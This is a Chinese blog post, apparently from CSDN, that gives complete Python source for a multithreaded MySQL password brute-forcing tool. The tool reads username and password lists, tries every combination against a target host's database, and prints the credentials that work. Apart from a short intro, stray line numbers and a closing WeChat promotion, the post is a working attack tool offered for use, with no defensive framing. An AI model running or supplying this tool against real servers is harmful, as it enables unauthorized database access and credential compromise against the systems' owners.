# MySQL暴力破解工具多线程版
基于Python写了一个暴力破解MySQL的小工具,很简单,使用也很方便。这里,贴出完整的源代码
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2019/01/01
# Created by 冰河
# Description MySQL暴力破解工具多线程版
# 博客 https://blog.csdn.net/l1028386804
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool
try:
import MySQLdb
except ImportError:
print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
print '[!] http://www.codegood.com/archives/129'
exit()
def usage():
print '+' + '-' * 50 + '+'
print '\t Python MySQL暴力破解工具多线程版'
print '\t Blog:https://blog.csdn.net/l1028386804'
print '\t\t Code BY: 冰河'
print '\t\t Time:2019-01-01'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 6:
print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
print "实例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 test user.txt pass.txt"
sys.exit()
def mysql_brute(user, password):
"mysql数据库破解函数"
db = None
try:
# print "user:", user, "password:", password
db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
# print '[+] 破解成功:', user, password
result.append('用户名:' + user + "\t密码:" + password)
except KeyboardInterrupt:
print '已成功退出程序!'
exit()
except MySQLdb.Error, msg:
print '程序出错,错误信息为:', msg
pass
finally:
if db:
db.close()
if __name__ == '__main__':
usage()
start_time = time.time()
if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
host = sys.argv[1]
else:
host = socket.gethostbyname(sys.argv[1])
userlist = [i.rstrip() for i in open(sys.argv[4])]
passlist = [j.rstrip() for j in open(sys.argv[5])]
print '\n[+] 目 标:%s \n' % sys.argv[1]
print '[+] 用户名:%d 条\n' % len(userlist)
print '[+] 密 码:%d 条\n' % len(passlist)
print '[!] 密码破解中,请稍候……\n'
result = []
for user in userlist:
partial_user = partial(mysql_brute, user)
pool = ThreadPool(10)
pool.map(partial_user, passlist)
pool.close()
pool.join()
if len(result) != 0:
print '[+] MySQL密码破解成功!\n'
for x in {}.fromkeys(result).keys():
print x + '\n'
else:
print '[-] MySQL密码破解失败!\n'
print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# 写在最后
如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!